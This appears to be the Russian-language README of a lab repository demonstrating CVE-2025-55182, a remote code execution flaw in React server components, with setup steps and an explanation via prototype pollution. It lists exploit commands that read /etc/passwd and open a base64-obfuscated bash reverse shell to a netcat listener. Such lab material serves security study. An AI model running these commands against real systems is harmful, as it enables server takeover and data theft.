
CVE-2025-55182 React2Shell PoC lab
Комплексная лаборатория для демонстрации и тестирования критической уязвимости CVE-2025-55182 в серверных компонентах React.
Этот репозиторий предназначен для:
Не используйте против систем, которые вам не принадлежат или на которые у вас нет явного разрешения на тестирование. Несанкционированный доступ незаконен.
✅ Выполнение произвольных команд без аутентификации
✅ Чтение системных файлов
✅ Создание и изменение файлов
✅ Установка обратного соединения (reverse shell)
✅ Полный контроль над сервером
npm install --legacy-peer-deps
npm run dev
Сервер запустится на http://localhost:3000
bash check-cve.sh
cd exploit
python3 rce_final.py "whoami"
python3 rce_final.py "id > /tmp/id.txt &"
python3 rce_final.py "cat /etc/passwd > /tmp/passwd.txt &"
# Терминал 1 - Прослушиватель
nc -lvnp 4444
# Терминал 2 - Эксплойт
python3 rce_final.py "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash &"
├── app/ # Уязвимое приложение Next.js
├── exploit/ # Работающий PoC-эксплойт
│ └── rce_final.py # Основной скрипт эксплойта
├── check-cve.sh # Автоматическая проверка уязвимости
├── package.json # Уязвимые зависимости
└── README.md
Уязвимость находится в логике десериализации полезных нагрузок серверных компонентов React. Эксплойт использует загрязнение прототипа (prototype pollution) для выполнения произвольного кода через process.mainModule.require('child_process').execSync().
Этот код предоставляется только для образовательных целей и авторизованного тестирования безопасности. Пользователи несут ответственность за получение надлежащего разрешения перед тестированием любых систем. Несанкционированный доступ к компьютерным системам является незаконным в соответствии с такими законами, как Закон о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичным законодательством в других юрисдикциях.
Автор не несёт ответственности за неправомерное использование этой информации.
После прохождения этой лабораторной работы вы поймёте: